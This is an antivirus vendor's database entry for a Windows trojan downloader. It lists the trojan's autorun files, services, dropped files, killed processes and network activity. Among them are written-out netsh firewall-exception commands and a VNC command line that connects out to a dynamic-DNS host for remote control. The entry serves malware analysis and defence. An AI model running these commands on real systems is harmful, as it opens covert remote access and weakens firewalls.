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Trojan.DownLoader11.8837

Added to the Dr.Web virus database: 2014-05-13

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • %ALLUSERSPROFILE%\Start Menu\Programs\Startup\1Click.lnk
Creates the following services:
  • [<HKLM>\SYSTEM\ControlSet001\Services\uvnc_service] 'Start' = '00000002'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
  • [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe' = '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe:*:Enabled:OneClick-Server'
Creates and executes the following:
  • '%TEMP%\nsf6.tmp\ns1A.tmp' "netsh.exe" firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE ALL
  • '%TEMP%\nsf6.tmp\ns1B.tmp' "netsh.exe" firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE
  • '%TEMP%\nsf6.tmp\ns1C.tmp' "sc.exe" stop uvnc_service
  • '%TEMP%\nsf6.tmp\ns19.tmp' cmd.exe /C del /P /Q "%HOMEPATH%\Desktop\Tools.url"
  • '%TEMP%\nsf6.tmp\ns16.tmp' cmd.exe /C del /P /Q "%ALLUSERSPROFILE%\Start Menu\Tools.url"
  • '%TEMP%\nsf6.tmp\ns17.tmp' cmd.exe /C del /P /Q "%ALLUSERSPROFILE%\Desktop\Tools.url"
  • '%TEMP%\nsf6.tmp\ns18.tmp' cmd.exe /C del /P /Q "%HOMEPATH%\Start Menu\Tools.url"
  • '%TEMP%\nsf6.tmp\ns1D.tmp' "net.exe" stop uvnc_service
  • '%TEMP%\nsf6.tmp\ns20.tmp' "net.exe" start uvnc_service
  • '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe' -autoreconnect -sc_prompt -connect myitguy.no-ip.biz::4905 -service_run
  • '%PROGRAM_FILES%\1c2.0.9\1Click.exe'
  • '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe' -service
  • '%TEMP%\nsf6.tmp\ns1E.tmp' "sc.exe" delete uvnc_service
  • '%TEMP%\nsf6.tmp\ns1F.tmp' "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" -install
  • '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe' -install
  • '%TEMP%\nsf6.tmp\ns15.tmp' "%PROGRAM_FILES%\1c2.0.9\Uninst.exe"
  • '%TEMP%\nsf6.tmp\nsA.tmp' "sc.exe" delete winvnc
  • '%TEMP%\nsf6.tmp\nsB.tmp' "net.exe" stop WinVNC4
  • '%TEMP%\nsf6.tmp\nsC.tmp' "sc.exe" delete winvnc4
  • '%TEMP%\nsf6.tmp\ns9.tmp' "net.exe" stop WinVNC
  • '%TEMP%\nst3.tmp\WebGetS.exe' /3
  • '%TEMP%\nsf6.tmp\ns7.tmp' "net.exe" stop uvnc_service
  • '%TEMP%\nsf6.tmp\ns8.tmp' "sc.exe" delete uvnc_service
  • '%TEMP%\nsf6.tmp\nsD.tmp' "tskill.exe" WinVncSC
  • '%TEMP%\nsf6.tmp\ns12.tmp' "taskkill.exe" /F /IM AvncMenu.exe /T
  • '%TEMP%\nsf6.tmp\ns13.tmp' "tskill.exe" WinVnc
  • '%TEMP%\nsf6.tmp\ns14.tmp' "taskkill.exe" /F /IM WinVnc.exe /T
  • '%TEMP%\nsf6.tmp\ns11.tmp' "taskkill.exe" /F /IM WinVncSC.exe /T
  • '%TEMP%\nsf6.tmp\nsE.tmp' "tskill.exe" 1click
  • '%TEMP%\nsf6.tmp\nsF.tmp' "tskill.exe" AvncMenu
  • '%TEMP%\nsf6.tmp\ns10.tmp' "taskkill.exe" /F /IM 1click.exe /T
Executes the following:
  • '<SYSTEM32>\taskkill.exe' /F /IM AvncMenu.exe /T
  • '<SYSTEM32>\tskill.exe' WinVnc
  • '<SYSTEM32>\taskkill.exe' /F /IM WinVncSC.exe /T
  • '<SYSTEM32>\tskill.exe' AvncMenu
  • '<SYSTEM32>\taskkill.exe' /F /IM 1click.exe /T
  • '<SYSTEM32>\taskkill.exe' /F /IM WinVnc.exe /T
  • '<SYSTEM32>\net1.exe' start "uvnc_service"
  • '<SYSTEM32>\net1.exe' start uvnc_service
  • '<SYSTEM32>\sc.exe' stop uvnc_service
  • '<SYSTEM32>\netsh.exe' firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE ALL
  • '<SYSTEM32>\netsh.exe' firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE
  • '<SYSTEM32>\net.exe' stop WinVNC
  • '<SYSTEM32>\net1.exe' stop WinVNC
  • '<SYSTEM32>\sc.exe' delete uvnc_service
  • '<SYSTEM32>\net.exe' stop uvnc_service
  • '<SYSTEM32>\net1.exe' stop uvnc_service
  • '<SYSTEM32>\sc.exe' delete winvnc
  • '<SYSTEM32>\tskill.exe' WinVncSC
  • '<SYSTEM32>\tskill.exe' 1click
  • '<SYSTEM32>\sc.exe' delete winvnc4
  • '<SYSTEM32>\net.exe' stop WinVNC4
  • '<SYSTEM32>\net1.exe' stop WinVNC4
Modifies file system :
Creates the following files:
  • %PROGRAM_FILES%\1c2.0.9\icon1.ico
  • %PROGRAM_FILES%\1c2.0.9\icon2.ico
  • %PROGRAM_FILES%\1c2.0.9\stop.ico
  • %PROGRAM_FILES%\1c2.0.9\icon0.ico
  • %PROGRAM_FILES%\1c2.0.9\logo.bmp
  • %PROGRAM_FILES%\1c2.0.9\cad.exe
  • %PROGRAM_FILES%\1c2.0.9\Ding_Dong.wav
  • %PROGRAM_FILES%\1c2.0.9\background.bmp
  • %PROGRAM_FILES%\1c2.0.9\winvncsc.exe
  • %PROGRAM_FILES%\1c2.0.9\UltraVnc.ini
  • %PROGRAM_FILES%\1c2.0.9\Advantig.Lic
  • %TEMP%\nsf6.tmp\ns15.tmp
  • %TEMP%\nsf6.tmp\ns13.tmp
  • %TEMP%\nsf6.tmp\ns14.tmp
  • %TEMP%\nsf6.tmp\ns16.tmp
  • %TEMP%\nsf6.tmp\ns19.tmp
  • %PROGRAM_FILES%\1c2.0.9\Uninst.exe
  • %TEMP%\nsf6.tmp\ns17.tmp
  • %TEMP%\nsf6.tmp\ns18.tmp
  • %TEMP%\nsf6.tmp\ns1D.tmp
  • %TEMP%\nsf6.tmp\ns1E.tmp
  • %TEMP%\nsf6.tmp\ns1B.tmp
  • %TEMP%\nsf6.tmp\ns1C.tmp
  • %ALLUSERSPROFILE%\Desktop\Re-connect Support.lnk
  • %PROGRAM_FILES%\1c2.0.9\SysCfg.lnk
  • %ALLUSERSPROFILE%\Start Menu\System Boot Configuration.lnk
  • %TEMP%\nsf6.tmp\ns1F.tmp
  • %TEMP%\nsf6.tmp\ns20.tmp
  • %TEMP%\nsf6.tmp\ns1A.tmp
  • %PROGRAM_FILES%\1c2.0.9\CustomText.ini
  • %PROGRAM_FILES%\1c2.0.9\1Click.exe
  • %PROGRAM_FILES%\1c2.0.9\rePaper.exe
  • %PROGRAM_FILES%\1c2.0.9\OneClick.ini
  • %PROGRAM_FILES%\1c2.0.9\Goodbye.vbs
  • %ALLUSERSPROFILE%\Start Menu\Stop Remote Support.lnk
  • %ALLUSERSPROFILE%\Start Menu\1cToolBox.lnk
  • %PROGRAM_FILES%\1c2.0.9\boot.ico
  • %TEMP%\nst3.tmp\Advantig.ini
  • %TEMP%\nsf6.tmp\ns12.tmp
  • %TEMP%\nst3.tmp\icon2.ico
  • %TEMP%\nst3.tmp\stop.ico
  • %TEMP%\nst3.tmp\icon0.ico
  • %TEMP%\nst3.tmp\icon1.ico
  • %TEMP%\nst3.tmp\boot.ico
  • %TEMP%\nst3.tmp\OneClick.ini
  • %TEMP%\nst3.tmp\Goodbye.vbs
  • %TEMP%\nst3.tmp\CustomText.ini
  • %TEMP%\nst3.tmp\Startup.txt
  • %TEMP%\nst3.tmp\background.bmp
  • %TEMP%\nst3.tmp\helpdesk.txt
  • %TEMP%\nst3.tmp\winvncsc.exe
  • %TEMP%\nsy2.tmp
  • %TEMP%\nst3.tmp\WebGetS.exe
  • %TEMP%\nst3.tmp\UltraVnc.ini
  • %TEMP%\nst3.tmp\Splash.bmp
  • %TEMP%\nst3.tmp\logo.bmp
  • %TEMP%\nst3.tmp\cad.exe
  • %TEMP%\nst3.tmp\Ding_Dong.wav
  • %TEMP%\nsf6.tmp\nsB.tmp
  • %TEMP%\nsf6.tmp\nsC.tmp
  • %TEMP%\nsf6.tmp\ns9.tmp
  • %TEMP%\nsf6.tmp\nsA.tmp
  • %TEMP%\nsf6.tmp\nsD.tmp
  • %TEMP%\nsf6.tmp\ns10.tmp
  • %TEMP%\nsf6.tmp\ns11.tmp
  • %TEMP%\nsf6.tmp\nsE.tmp
  • %TEMP%\nsf6.tmp\nsF.tmp
  • %TEMP%\nsf6.tmp\ns8.tmp
  • %TEMP%\nst3.tmp\Advantig.Lic
  • %TEMP%\nsf6.tmp\default.bmp
  • %TEMP%\nst3.tmp\1Click.exe
  • %TEMP%\nsz5.tmp
  • %TEMP%\nsf6.tmp\Splash.dll
  • %TEMP%\nsf6.tmp\nsExec.dll
  • %TEMP%\nsf6.tmp\ns7.tmp
  • %TEMP%\nst3.tmp\rePaper.exe
  • %TEMP%\nst3.tmp\AvncMenu.exe
Deletes the following files:
  • %TEMP%\nst3.tmp\helpdesk.txt
  • %TEMP%\nst3.tmp\Advantig.ini
  • %TEMP%\nsf6.tmp\ns1B.tmp
  • %TEMP%\nsf6.tmp\ns1A.tmp
  • %TEMP%\nsf6.tmp\ns18.tmp
  • %TEMP%\nsf6.tmp\ns17.tmp
  • %TEMP%\nst3.tmp\AvncMenu.exe
  • %TEMP%\nsf6.tmp\ns19.tmp
  • %TEMP%\nsf6.tmp\default.bmp
  • %TEMP%\nsf6.tmp\ns20.tmp
  • %TEMP%\nsf6.tmp\Splash.dll
  • %TEMP%\nsf6.tmp\nsExec.dll
  • %TEMP%\nsf6.tmp\ns1D.tmp
  • %TEMP%\nsf6.tmp\ns1C.tmp
  • %TEMP%\nsf6.tmp\ns1F.tmp
  • %TEMP%\nsf6.tmp\ns1E.tmp
  • %TEMP%\nsf6.tmp\nsC.tmp
  • %TEMP%\nsf6.tmp\nsB.tmp
  • %TEMP%\nsf6.tmp\nsE.tmp
  • %TEMP%\nsf6.tmp\nsD.tmp
  • %TEMP%\nsf6.tmp\ns8.tmp
  • %TEMP%\nsf6.tmp\ns7.tmp
  • %TEMP%\nsf6.tmp\nsA.tmp
  • %TEMP%\nsf6.tmp\ns9.tmp
  • %TEMP%\nsf6.tmp\ns14.tmp
  • %TEMP%\nsf6.tmp\ns13.tmp
  • %TEMP%\nsf6.tmp\ns16.tmp
  • %TEMP%\nsf6.tmp\ns15.tmp
  • %TEMP%\nsf6.tmp\ns10.tmp
  • %TEMP%\nsf6.tmp\nsF.tmp
  • %TEMP%\nsf6.tmp\ns12.tmp
  • %TEMP%\nsf6.tmp\ns11.tmp
Network activity:
Connects to:
  • 'my####y.no-ip.biz':4905
UDP:
  • DNS ASK my####y.no-ip.biz
Miscellaneous:
Searches for the following windows:
  • ClassName: '(null)' WindowName: '(null)'
  • ClassName: 'WinVNC Tray Icon' WindowName: '(null)'
  • ClassName: 'Shell_TrayWnd' WindowName: '(null)'
  • ClassName: 'WinVNC desktop sink' WindowName: '(null)'
  • ClassName: '#32770' WindowName: '(null)'
  • ClassName: 'SysListView32' WindowName: '(null)'

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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